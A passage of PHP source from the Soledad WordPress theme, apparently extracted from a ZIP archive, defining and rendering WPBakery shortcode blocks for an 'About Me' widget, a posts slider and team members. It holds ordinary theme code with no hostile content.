				'value'      => __( '<p>I am text block. Click edit button to change this text.</p>', 'soledad' ),
			),
			array(
				'type'       => 'dropdown',
				'heading'    => __( 'Align This Block', 'soledad' ),
				'param_name' => 'align_block',
				'value'      => array(
					__( 'Align Left', 'soledad' )   => 'left',
					__( 'Align Center', 'soledad' ) => 'center',
					__( 'Align Right', 'soledad' )  => 'right',
				),
				'std'        => 'center',
			),
			array(
				'type'       => 'dropdown',
				'heading'    => __( 'Title HTML Tag', 'soledad' ),
				'param_name' => 'title_tag',
				'value'      => array(
					__( 'H1', 'soledad' )   => 'h1',
					__( 'H2', 'soledad' )   => 'h2',
					__( 'H3', 'soledad' )   => 'h3',
					__( 'H4', 'soledad' )   => 'h4',
					__( 'H5', 'soledad' )   => 'h5',
					__( 'H6', 'soledad' )   => 'h6',
					__( 'div', 'soledad' )  => 'div',
					__( 'span', 'soledad' ) => 'span',
					__( 'p', 'soledad' )    => 'p',
				),
				'std'        => 'h3',
			),
			array(
				'type'        => 'penci_switch',
				'heading'     => __( 'Make About Image Circle:', 'soledad' ),
				'param_name'  => 'img_circle',
				'true_state'       => 'yes',
				'false_state'      => 'no',
				'default'          => 'no',
				'std'              => 'no',
				'description' => __( 'To use this feature, please use square image for your image above to get best display.', 'soledad' )
			),
			array(
				'type'        => 'penci_switch',
				'heading'     => __( 'Disable Lazyload for About Me Image:', 'soledad' ),
				'param_name'  => 'dis_lazyload',
				'true_state'       => 'yes',
				'false_state'      => 'no',
				'default'          => 'no',
				'std'              => 'no',
				'description' => __( 'To use this feature, please use square image for your image above to get best display.', 'soledad' )
			),
			array(
				'type'       => 'penci_responsive_sizes',
				'param_name' => 'image_space',
				'heading'    => __( 'Image Margin Bottom', 'soledad' ),
				'value'      => '',
				'std'        => '',
				'suffix'     => 'px',
				'min'        => 1,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'       => 'penci_responsive_sizes',
				'param_name' => 'image_width',
				'heading'    => __( 'Image Width', 'soledad' ),
				'value'      => '',
				'std'        => '',
				'suffix'     => 'px',
				'min'        => 1,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'       => 'penci_responsive_sizes',
				'param_name' => 'title_bottom_space',
				'heading'    => __( 'Title Margin Bottom', 'soledad' ),
				'value'      => '',
				'std'        => '',
				'suffix'     => 'px',
				'min'        => 1,
				'edit_field_class' => 'vc_col-sm-6',
			),
		),
		Penci_Vc_Params_Helper::heading_block_params(),
		Penci_Vc_Params_Helper::params_heading_typo_color(),
		Penci_Vc_Params_Helper::extra_params(),
		array(
			array(
				'type'             => 'textfield',
				'param_name'       => 'heading_ptitle_settings',
				'heading'          => esc_html__( 'About us text', 'soledad' ),
				'value'            => '',
				'group'            => $group_color,
				'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Heading Text Color', 'soledad' ),
				'param_name'       => 'title_color',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Content Color', 'soledad' ),
				'param_name'       => 'content_color',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
		)
	)
) );
PK     0w\M"    ,  js_composer/shortcodes/about_me/frontend.phpnu [        <?php
$output = $penci_block_width = $el_class = $css_animation = $css = '';

$image              = $thumbnail_size = $link = $link_external = $link_nofollow = '';
$about_us_heading   = $align_block = $title_size = '';
$img_circle         = $dis_lazyload = $image_space = $image_width = $responsive_spacing = '';
$title_bottom_space = '';

$title_color = $content_color = '';

$atts = vc_map_get_attributes( $this->getShortcode(), $atts );
extract( $atts );

$class_to_filter = vc_shortcode_custom_css_class( $css, ' ' ) . $this->getExtraClass( $el_class ) . $this->getCSSAnimation( $css_animation );

$css_class = 'penci-block-vc penci-about-me';
$css_class .= ' ' . apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, $class_to_filter, $this->settings['base'], $atts );
$block_id  = Penci_Vc_Helper::get_unique_id_block( 'about_us' );

$title_tag        = $title_tag ? $title_tag : 'h3';
$open_image       = '';
$close_image      = '';
$target_html      = '';
$image_width_data = $image_height_data = '';

$image_info = wp_get_attachment_image_src( $image, $thumbnail_size, false );
list( $image_src, $width, $height ) = $image_info;


if ( $link ):
	if ( $link_nofollow == 'yes' ) {
		$target_html .= ' rel="nofollow"';
	}

	if ( $link_external == 'yes' ) {
		$target_html .= ' target="_blank"';
	}

	$open_image  = '<a href="' . do_shortcode( $link ) . '"' . $target_html . '>';
	$close_image = '</a>';
endif;
?>
    <div id="<?php echo esc_attr( $block_id ); ?>" class="<?php echo esc_attr( $css_class ); ?>">
		<?php Penci_Vc_Helper::markup_block_title( $atts ); ?>
        <div class="penci-block_content about-widget<?php if ( $align_block ): echo ' pc_align' . $align_block; endif; ?>">
			<?php if ( $image_src ) :
				$image_width_data = penci_get_image_data_basedurl( $image_src, 'w' );
				$image_height_data = penci_get_image_data_basedurl( $image_src, 'h' );
				?>
				<?php echo $open_image; ?>
				<?php if ( ! $dis_lazyload == 'yes' ) { ?>
                <img class="penci-widget-about-image nopin penci-lazy" nopin="nopin"
                     width="<?php echo $image_width_data; ?>" height="<?php echo $image_height_data; ?>"
                     src="<?php echo penci_holder_image_base( $image_width_data, $image_height_data ); ?>"
                     data-src="<?php echo esc_url( $image_src ); ?>"
                     alt="<?php echo esc_attr( $about_us_heading ); ?>"/>
			<?php } else { ?>
                <img class="penci-widget-about-image nopin" nopin="nopin" width="<?php echo $image_width_data; ?>"
                     height="<?php echo $image_height_data; ?>" src="<?php echo esc_url( $image_src ); ?>"
                     alt="<?php echo esc_attr( $about_us_heading ); ?>"/>
			<?php } ?>
				<?php echo $close_image; ?>
			<?php endif; ?>

			<?php if ( $about_us_heading ) : ?>
            <<?php echo $title_tag; ?> class="about-me-heading"><?php echo do_shortcode( $about_us_heading ); ?>
        </<?php echo $title_tag; ?>>
	<?php endif; ?>

		<?php if ( $content ) : ?>
            <div class="penci-aboutme-content"><?php echo do_shortcode( $content ); ?></div>
		<?php endif; ?>
    </div>
    </div>
<?php
$id_about_me = 'body:not(.pcdm-enable) #' . $block_id;
$css_custom  = Penci_Vc_Helper::get_heading_block_css( $id_about_me, $atts );
if ( $align_block ) {
	$css_custom .= $id_about_me . ' .about-widget{ text-align: ' . $align_block . ' !important; }';
}
if ( $image_width ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_about_me . ' .about-widget img{ max-width: {{VALUE}} !important; width:100%; }', $image_width );
}
if ( $img_circle == 'yes' ) {
	$css_custom .= $id_about_me . ' .about-widget img{ border-radius: 50%; -webkit-border-radius: 50%;}';
}
if ( $image_space ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_about_me . ' .about-widget img{ margin-bottom:{{VALUE}}px;}', $image_space );
}
if ( $title_bottom_space ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_about_me . ' .about-me-heading{ margin-bottom:{{VALUE}}px;}', $title_bottom_space );
}
if ( $title_color ) {
	$css_custom .= $id_about_me . ' .about-me-heading{ color:' . esc_attr( $title_color ) . ';}';
}
if ( $content_color ) {
	$css_custom .= $id_about_me . ' .penci-aboutme-content{ color:' . esc_attr( $content_color ) . ';}';
}
if ( $responsive_spacing ) {
	$css_custom .= penci_extract_spacing_style( $id_about_me, $responsive_spacing );
}

if ( $css_custom ) {
	echo '<style>';
	echo $css_custom;
	echo '</style>';
}
PK     0w\?䃲    0  js_composer/shortcodes/posts_slider/settings.phpnu [        <?php
$group_color = 'Typo & Color';
vc_map( array(
	'base'          => 'penci_posts_slider',
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name('Soledad'),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/posts_slider/frontend.php',
	'weight'        => 700,
	'name'          => penci_get_theme_name('Penci').' '.esc_html__( 'Widget Posts Slider', 'soledad' ),
	'description'   => __( 'Posts Slider Block', 'soledad' ),
	'controls'      => 'full',
	'params'        => array_merge(
		array(
            array(
                'type'        => 'loop',
                'heading'     => '',
                'param_name'  => 'build_query',
                'value'       => 'post_type:post|size:10',
                'settings'    => array(
                    'size'      => array( 'value' => 10, 'hidden' => false ),
                    'post_type' => array( 'value' => 'post', 'hidden' => false )
                ),
                'description' => __( 'Create WordPress loop, to populate content from your site.', 'soledad' ),
            ),
            array(
                'type' => 'dropdown',
                'heading' => __('Select Style for This Slider', 'soledad'),
                'value' => array(
                    'Style 1' => 'style-1',
                    'Style 2' => 'style-2',
                    'Style 3' => 'style-3',
                ),
                'std' => 'style-1',
                'param_name' => 'penci_style',
            ),
            array(
                'type' => 'dropdown',
                'heading' => __('Image Size Type', 'soledad'),
                'value' => array(
                    'Horizontal Size' => 'horizontal',
                    'Square Size' => 'square',
                    'Vertical Size' => 'vertical',
                ),
                'std' => 'horizontal',
                'param_name' => 'penci_size',
            ),
			array(
				'type'       => 'penci_switch',
				'heading'    => esc_html__( 'Hide post date?', 'soledad' ),
				'param_name' => 'hide_pdate',
				'true_state'       => 'yes',
				'false_state'      => 'no',
				'default'          => 'no',
				'std'              => 'no',
			),
			array(
				'type'       => 'penci_switch',
				'heading'    => esc_html__( 'Disable lazyload?', 'soledad' ),
				'param_name' => 'dis_lazyload',
				'true_state'       => 'yes',
				'false_state'      => 'no',
				'default'          => 'no',
				'std'              => 'no',
			),
			array(
				'type'       => 'penci_switch',
				'heading'    => esc_html__( 'Enable Autoplay Slider?', 'soledad' ),
				'param_name' => 'autoplay',
				'true_state'       => 'yes',
				'false_state'      => 'no',
				'default'          => 'no',
				'std'              => 'no',
			),
            array(
                'type'       => 'textfield',
                'heading'    => esc_html__( 'Custom Words Length for Post Titles', 'soledad' ),
                'param_name' => '_title_length',
                'value'      => '',
            ),
		),
		Penci_Vc_Params_Helper::heading_block_params(),
		Penci_Vc_Params_Helper::params_heading_typo_color(),
		array(
            array(
                'type'             => 'textfield',
                'param_name'       => 'heading_ptittle_settings',
                'heading'          => esc_html__( 'General Posts', 'soledad' ),
                'value'            => '',
                'group'            => $group_color,
                'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
            ),

            // Post title
            array(
                'type'             => 'colorpicker',
                'heading'          => esc_html__( 'Post Title Color', 'soledad' ),
                'param_name'       => 'ptitle_color',
                'group'            => $group_color,
                'edit_field_class' => 'vc_col-sm-6',
            ),
            array(
                'type'             => 'colorpicker',
                'heading'          => esc_html__( 'Post Title Hover Color', 'soledad' ),
                'param_name'       => 'ptitle_hcolor',
                'group'            => $group_color,
                'edit_field_class' => 'vc_col-sm-6',
            ),
            array(
                'type'             => 'penci_responsive_sizes',
                'param_name'       => 'ptitle_fsize',
                'heading'          => __( 'Font Size for Post Title', 'soledad' ),
                'value'            => '',
                'std'              => '',
                'suffix'           => 'px',
                'min'              => 1,
                'group'            => $group_color,
                'edit_field_class' => 'vc_col-sm-6',
            ),
            array(
                'type'             => 'penci_switch',
                'heading'          => __( 'Custom Font Family for Post Title', 'soledad' ),
                'param_name'       => 'use_ptitle_typo',
                'true_state'       => 'yes',
                'false_state'      => 'no',
                'default'          => 'no',
                'std'              => 'no',
                'group'            => $group_color,
                'edit_field_class' => 'vc_col-sm-6',
            ),
            array(
                'type'       => 'google_fonts',
                'group'      => $group_color,
                'param_name' => 'ptitle_typo',
                'value'      => '',
                'dependency' => array( 'element' => 'use_ptitle_typo', 'value' => 'yes' ),
            ),
            array(
                'type'       => 'penci_separator',
                'param_name' => 'penci_separator1',
                'group'      => $group_color,
            ),
            // Post meta
            array(
                'type'             => 'colorpicker',
                'heading'          => esc_html__( 'Post Meta Color', 'soledad' ),
                'param_name'       => 'pmeta_color',
                'group'            => $group_color,
                'edit_field_class' => 'vc_col-sm-6',
            ),
            array(
                'type'             => 'penci_responsive_sizes',
                'param_name'       => 'pmeta_fsize',
                'heading'          => __( 'Font Size for Post Meta', 'soledad' ),
                'value'            => '',
                'std'              => '',
                'suffix'           => 'px',
                'min'              => 1,
                'group'            => $group_color,
                'edit_field_class' => 'vc_col-sm-6',
            ),
            array(
                'type'             => 'penci_switch',
                'heading'          => __( 'Custom Font Family for Post Meta', 'soledad' ),
                'param_name'       => 'use_pmeta_typo',
                'true_state'       => 'yes',
                'false_state'      => 'no',
                'default'          => 'no',
                'std'              => 'no',
                'group'            => $group_color,
                'edit_field_class' => 'vc_col-sm-6',
            ),
            array(
                'type'       => 'google_fonts',
                'group'      => $group_color,
                'param_name' => 'pmeta_typo',
                'value'      => '',
                'dependency' => array( 'element' => 'use_pmeta_typo', 'value' => 'yes' ),
            ),
        ),
		Penci_Vc_Params_Helper::extra_params(),
		Penci_Vc_Params_Helper::params_bookmark_icon()
	)
) );
PK     0w\e_4  4  0  js_composer/shortcodes/posts_slider/frontend.phpnu [        <?php
$output              = $penci_block_width = $el_class = $css_animation = $css = '';
$heading_title_style = $heading = $heading_title_link = $heading_title_align = '';
$build_query         = $penci_style = $penci_size = $penci_img_ratio = $responsive_spacing = '';
$hide_pdate          = $dis_lazyload = '';

$dis_lazyload = 'yes' == $dis_lazyload;

$ptitle_color  = $ptitle_hcolor = $ptitle_fsize = $use_ptitle_typo = $ptitle_typo = '';
$pmeta_color   = $pmeta_hcolor = $pmeta_fsize = $use_pmeta_typo = $pmeta_typo = '';
$_title_length = 10;

$atts = vc_map_get_attributes( $this->getShortcode(), $atts );
extract( $atts );

$class_to_filter = vc_shortcode_custom_css_class( $css, ' ' ) . $this->getExtraClass( $el_class ) . $this->getCSSAnimation( $css_animation );

$css_class = 'penci-block-vc penci_post-slider-sc';
$css_class .= ' ' . apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, $class_to_filter, $this->settings['base'], $atts );
$block_id  = Penci_Vc_Helper::get_unique_id_block( 'post_slider' );

$thumbsize = penci_featured_images_size();
if ( 'horizontal' == $penci_size ) {
	$thumbsize = 'penci-thumb';
} else if ( 'square' == $penci_size ) {
	$thumbsize = 'penci-thumb-square';
} else if ( 'vertical' == $penci_size ) {
	$thumbsize = 'penci-thumb-vertical';
}

$query_args = penci_build_args_query( $build_query );
$loop       = new WP_Query( $query_args );

if ( ! $loop->have_posts() ) {
	return;
}

$rand = rand( 100, 10000 );

if ( get_theme_mod( 'penci_disable_lazyload_layout' ) ) {
	$dis_lazyload = false;
}

$style    = $penci_style ? $penci_style : 'style-1';
$dataauto = 'false';
if ( 'yes' == $autoplay ) {
	$dataauto = 'true';
}
?>
    <div id="<?php echo esc_attr( $block_id ); ?>" class="<?php echo esc_attr( $css_class ); ?>">
		<?php Penci_Vc_Helper::markup_block_title( $atts ); ?>
        <div class="penci-block_content">
            <div id="penci-postslidewg-<?php echo sanitize_text_field( $rand ); ?>"
                 class="penci-owl-carousel swiper penci-owl-carousel-slider penci-widget-slider penci-post-slider-<?php echo $style; ?>"
                 data-lazy="true" data-auto="<?php echo $dataauto; ?>">
                 <div class="swiper-wrapper">
				<?php while ( $loop->have_posts() ) : $loop->the_post(); ?>
                    <div class="penci-slide-widget swiper-slide">
                        <div class="penci-slide-content">
							<?php if ( $style != 'style-3' ) { ?>
								<?php if ( ! $dis_lazyload ) { ?>
                                    <span class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                                          title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></span>
								<?php } else { ?>
                                    <span class="penci-image-holder"
                                          style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $thumbsize ); ?>');"
                                          title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></span>
								<?php } ?>
                                <a href="<?php the_permalink() ?>" class="penci-widget-slider-overlay"
                                   title="<?php the_title(); ?>"></a>
							<?php } else { ?>

                                    <a <?php echo penci_layout_bg( penci_image_srcset( get_the_ID(), $thumbsize ), ! $dis_lazyload ); ?> href="<?php the_permalink() ?>" class="<?php echo penci_layout_bg_class(! $dis_lazyload);?> penci-image-holder"
                                       title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
	                                    <?php echo penci_layout_img( penci_image_srcset( get_the_ID(), $thumbsize ), get_the_title(), ! $dis_lazyload ); ?>
                                    </a>

							<?php } ?>
                            <div class="penci-widget-slide-detail">
                                <h4>
                                    <a href="<?php the_permalink() ?>" rel="bookmark"
                                       title="<?php the_title(); ?>"><?php penci_trim_post_title( get_the_ID(), $_title_length ); ?></a>
                                </h4>
								<?php if ( ! 'yes' == $hide_pdate ) : ?>
									<?php
									$date_format = get_option( 'date_format' );
									?>
									<?php if ( ! get_theme_mod( 'penci_show_modified_date' ) ) { ?>
                                        <span class="slide-item-date"><?php the_time( $date_format ); ?></span>
									<?php } else { ?>
                                        <span class="slide-item-date"><?php echo get_the_modified_date( $date_format ); ?></span>
									<?php } ?>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
				<?php endwhile; ?>
				</div>
            </div>
			<?php
			wp_reset_postdata();
			?>
        </div>
    </div>
<?php

$id_post_slider = '#' . $block_id;
$id_post_slider2 = '#' . $block_id;
$css_custom     = Penci_Vc_Helper::get_heading_block_css( $id_post_slider, $atts );

if ( 'horizontal' == $penci_size ) {
	$css_custom .= $id_post_slider . ' .penci-widget-slider .penci-image-holder:before{ padding-top: 66.6667%; }';
}
if ( 'square' == $penci_size ) {
	$css_custom .= $id_post_slider . ' .penci-widget-slider .penci-image-holder:before{ padding-top: 100%; }';
}
if ( 'vertical' == $penci_size ) {
	$css_custom .= $id_post_slider . ' .penci-widget-slider .penci-image-holder:before{ padding-top: 135.4%; }';
}
if ( 'custom' == $penci_size && $penci_img_ratio ) {
	$css_custom .= $id_post_slider . ' .penci-widget-slider .penci-image-holder:before{ padding-top: ' . esc_attr( $penci_img_ratio ) . '%; }';
}
if ( $ptitle_color ) {
	$css_custom .= $id_post_slider2 . ' .penci-widget-slider .penci-widget-slide-detail h4,';
	$css_custom .= $id_post_slider2 . ' .penci-widget-slider .penci-widget-slide-detail h4 a{ color: ' . esc_attr( $ptitle_color ) . ' !important;}';
}
if ( $ptitle_hcolor ) {
	$css_custom .= $id_post_slider2 . ' .penci-widget-slider .penci-widget-slide-detail h4 a:hover{ color: ' . esc_attr( $ptitle_hcolor ) . ' !important;}';
}
$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
	'font_size'  => $ptitle_fsize,
	'font_style' => 'yes' == $use_ptitle_typo ? $ptitle_typo : '',
	'template'   => "{$id_post_slider} .penci-widget-slider .penci-widget-slide-detail h4 a,{$id_post_slider} .penci-widget-slider .penci-widget-slide-detail h4" . '{ %s }',
) );

if ( $pmeta_color ) {
	$css_custom .= $id_post_slider2 . ' .penci-widget-slide-detail .slide-item-date { color: ' . esc_attr( $pmeta_color ) . ' !important;}';
}
$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
	'font_size'  => $pmeta_fsize,
	'font_style' => 'yes' == $use_pmeta_typo ? $pmeta_typo : '',
	'template'   => "{$id_post_slider} .penci-widget-slide-detail .slide-item-date" . '{ %s }',
) );

if ( $responsive_spacing ) {
	$css_custom .= penci_extract_spacing_style( $id_post_slider, $responsive_spacing );
}

$css_custom .= Penci_Vc_Helper::get_bookmark_icon_css( $id_post_slider, $atts );

if ( $css_custom ) {
	echo '<style>';
	echo $css_custom;
	echo '</style>';
}
PK     0w\,;S<  S<  /  js_composer/shortcodes/team_member/settings.phpnu [        <?php
$group_color = 'Typo & Color';
$group_team  = 'Team Member';

vc_map( array(
	'base'          => 'penci_team_member',
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name( 'Soledad' ),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/team_member/frontend.php',
	'weight'        => 700,
	'name'          => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Team Members', 'soledad' ),
	'description'   => __( 'Team Members Block', 'soledad' ),
	'controls'      => 'full',
	'params'        => array_merge( array(
		array(
			'type'       => 'dropdown',
			'heading'    => esc_html__( 'Design style', 'soledad' ),
			'param_name' => 'style',
			'std'        => 's1',
			'value'      => array(
				esc_html__( 'Bordered', 'soledad' )         => 's1',
				esc_html__( 'Background', 'soledad' )       => 's2',
				esc_html__( 'Extended', 'soledad' )         => 's3',
				esc_html__( 'Overlay Slide Up', 'soledad' ) => 's4',
			)
		),
		array(
			'type'       => 'dropdown',
			'heading'    => esc_html__( 'Title Position', 'soledad' ),
			'param_name' => 'titpos',
			'std'        => 'default',
			'value'      => array(
				'Default'             => 'default',
				'Above Position Text' => 'above',
				'Below Position Text' => 'below',
			)
		),
		array(
			'type'       => 'dropdown',
			'heading'    => esc_html__( 'Social Icons Shape', 'soledad' ),
			'param_name' => 'social_shape',
			'std'        => 'default',
			'value'      => array(
				'Default' => 'default',
				'Circle'  => 'circle',
				'Square'  => 'square',
				'Round'   => 'round',
			)
		),
		array(
			'type'       => 'dropdown',
			'heading'    => esc_html__( 'Social Icons Style', 'soledad' ),
			'param_name' => 'social_style',
			'std'        => 'default',
			'value'      => array(
				'Default'  => 'default',
				'Filled'   => 'filled',
				'Bordered' => 'bordered',
			)
		),
		array(
			'type'       => 'dropdown',
			'heading'    => esc_html__( 'Social Icons Colors Style', 'soledad' ),
			'param_name' => 'social_colors',
			'std'        => 'default',
			'value'      => array(
				'Custom Colors'     => 'default',
				'Brands Color'      => 'brandbg',
				'Brands Text Color' => 'brandtext',
			)
		),
		array(
			'type'       => 'dropdown',
			'heading'    => __( 'Columns', 'soledad' ),
			'param_name' => 'columns',
			'value'      => array(
				'1' => '1',
				'2' => '2',
				'3' => '3',
				'4' => '4',
				'5' => '5',
				'6' => '6',
			),
			'std'        => '3'
		),
		array(
			'type'       => 'dropdown',
			'heading'    => __( 'Tablet Columns', 'soledad' ),
			'param_name' => 'columns_tablet',
			'value'      => array(
				'1' => '1',
				'2' => '2',
				'3' => '3',
				'4' => '4',
				'5' => '5',
				'6' => '6',
			),
			'std'        => '3'
		),
		array(
			'type'       => 'dropdown',
			'heading'    => __( 'Mobile Columns', 'soledad' ),
			'param_name' => 'columns_mobile',
			'value'      => array(
				'1' => '1',
				'2' => '2',
				'3' => '3',
				'4' => '4',
				'5' => '5',
				'6' => '6',
			),
			'std'        => '3'
		),
		array(
			'type'             => 'penci_only_number',
			'param_name'       => 'height_team',
			'heading'          => esc_html__( 'Set height team member', 'soledad' ),
			'value'            => '',
			'suffix'           => 'px',
			'min'              => 1,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_only_number',
			'param_name'       => 'border_width_team',
			'heading'          => esc_html__( 'Set border width team member', 'soledad' ),
			'value'            => '',
			'suffix'           => 'px',
			'min'              => 1,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_only_number',
			'param_name'       => 'width_img',
			'heading'          => esc_html__( 'Set width for Image', 'soledad' ),
			'value'            => '',
			'suffix'           => 'px',
			'min'              => 1,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_only_number',
			'param_name'       => 'height_img',
			'heading'          => esc_html__( 'Set height for Image', 'soledad' ),
			'value'            => '',
			'suffix'           => 'px',
			'min'              => 1,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_only_number',
			'param_name'       => 'row_gap',
			'heading'          => __( 'Rows Gap', 'soledad' ),
			'value'            => '',
			'std'              => '',
			'suffix'           => 'px',
			'min'              => 1,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_only_number',
			'param_name'       => 'col_gap',
			'heading'          => __( 'Columns Gap', 'soledad' ),
			'value'            => '',
			'std'              => '',
			'suffix'           => 'px',
			'min'              => 1,
			'edit_field_class' => 'vc_col-sm-6',
		),

		// tab team members
		array(
			'type'       => 'param_group',
			'heading'    => '',
			'param_name' => 'teammembers',
			'group'      => $group_team,
			'value'      => urlencode( json_encode( array(
				array(
					'name'          => 'Team member 1',
					'desc'          => 'I am text block. Click edit button to change this text.',
					'link'          => __( 'https://your-link.com', 'soledad' ),
					'image'         => '',
					'link_website'  => '#',
					'link_facebook' => '#',
					'link_twitter'  => '#'
				),
				array(
					'name'          => 'Team member 2',
					'desc'          => 'I am text block. Click edit button to change this text.',
					'link'          => __( 'https://your-link.com', 'soledad' ),
					'image'         => '',
					'link_website'  => '#',
					'link_facebook' => '#',
					'link_twitter'  => '#'
				),
				array(
					'name'          => 'Team member 3',
					'desc'          => 'I am text block. Click edit button to change this text.',
					'link'          => __( 'https://your-link.com', 'soledad' ),
					'image'         => '',
					'link_website'  => '#',
					'link_facebook' => '#',
					'link_twitter'  => '#'
				),
			) ) ),
			'params'     => array(
				array(
					'type'        => 'attach_image',
					'heading'     => __( 'Image', 'soledad' ),
					'param_name'  => 'image',
					'value'       => '',
					'description' => __( 'Select image from media library.', 'soledad' ),
				),
				array(
					'type'        => 'textfield',
					'heading'     => __( 'Name', 'soledad' ),
					'param_name'  => 'name',
					'admin_label' => true,
				),
				array(
					'type'       => 'textfield',
					'heading'    => __( 'Position', 'soledad' ),
					'param_name' => 'position',
				),
				array(
					'type'       => 'textarea',
					'heading'    => __( 'Description', 'soledad' ),
					'param_name' => 'desc',
				),
				array(
					'type'             => 'textfield',
					'heading'          => __( 'Link Website', 'soledad' ),
					'param_name'       => 'link_website',
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'textfield',
					'heading'          => __( 'Link Facebook', 'soledad' ),
					'param_name'       => 'link_facebook',
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'textfield',
					'heading'          => __( 'Link Twitter', 'soledad' ),
					'param_name'       => 'link_twitter',
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'textfield',
					'heading'          => __( 'Link Linkedin', 'soledad' ),
					'param_name'       => 'link_linkedin',
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'textfield',
					'heading'          => __( 'Link Instagram', 'soledad' ),
					'param_name'       => 'link_instagram',
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'textfield',
					'heading'          => __( 'Link Youtube', 'soledad' ),
					'param_name'       => 'link_youtube',
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'textfield',
					'heading'          => __( 'Link Vimeo', 'soledad' ),
					'param_name'       => 'link_vimeo',
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'textfield',
					'heading'          => __( 'Link Pinterest', 'soledad' ),
					'param_name'       => 'link_pinterest',
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'textfield',
					'heading'          => __( 'Link Dribbble', 'soledad' ),
					'param_name'       => 'link_dribbble',
					'edit_field_class' => 'vc_col-sm-6',
				),
			),
		),
	), Penci_Vc_Params_Helper::heading_block_params(), Penci_Vc_Params_Helper::params_heading_typo_color(), array(
		// General typo
		array(
			'type'             => 'textfield',
			'param_name'       => 'heading_general_settings',
			'heading'          => esc_html__( 'Team memeber Colors', 'soledad' ),
			'value'            => '',
			'group'            => $group_color,
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Item Background Color', 'soledad' ),
			'param_name'       => 'team_bghcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Item Border Color', 'soledad' ),
			'param_name'       => 'team_borderhcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		// Name typo
		array(
			'type'             => 'textfield',
			'param_name'       => 'heading_name_settings',
			'heading'          => esc_html__( 'Name Colors', 'soledad' ),
			'value'            => '',
			'group'            => $group_color,
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'       => 'colorpicker',
			'heading'    => esc_html__( 'Name color', 'soledad' ),
			'param_name' => 'team_name_color',
			'group'      => $group_color,
		),
		array(
			'type'       => 'google_fonts',
			'param_name' => 'team_name_typo',
			'value'      => '',
			'group'      => $group_color,
		),
		array(
			'type'       => 'penci_responsive_sizes',
			'param_name' => 'team_name_size',
			'heading'    => __( 'Font Size for Name', 'soledad' ),
			'value'      => '',
			'std'        => '',
			'suffix'     => 'px',
			'min'        => 1,
			'group'      => $group_color,
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'param_name'       => 'team_name_martop',
			'heading'          => __( 'Margin top for Name', 'soledad' ),
			'value'            => '',
			'std'              => '',
			'suffix'           => 'px',
			'min'              => 1,
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),

		// Position typo
		array(
			'type'             => 'textfield',
			'param_name'       => 'heading_pos_settings',
			'heading'          => esc_html__( 'Positions Colors', 'soledad' ),
			'value'            => '',
			'group'            => $group_color,
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'       => 'colorpicker',
			'heading'    => esc_html__( 'Position color', 'soledad' ),
			'param_name' => 'team_pos_color',
			'group'      => $group_color,
		),
		array(
			'type'       => 'google_fonts',
			'param_name' => 'team_pos_typo',
			'value'      => '',
			'group'      => $group_color,
		),
		array(
			'type'       => 'penci_responsive_sizes',
			'param_name' => 'team_pos_size',
			'heading'    => __( 'Font Size for Position', 'soledad' ),
			'value'      => '',
			'std'        => '',
			'suffix'     => 'px',
			'min'        => 1,
			'group'      => $group_color,
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'param_name'       => 'team_pos_martop',
			'heading'          => __( 'Margin top for Position', 'soledad' ),
			'value'            => '',
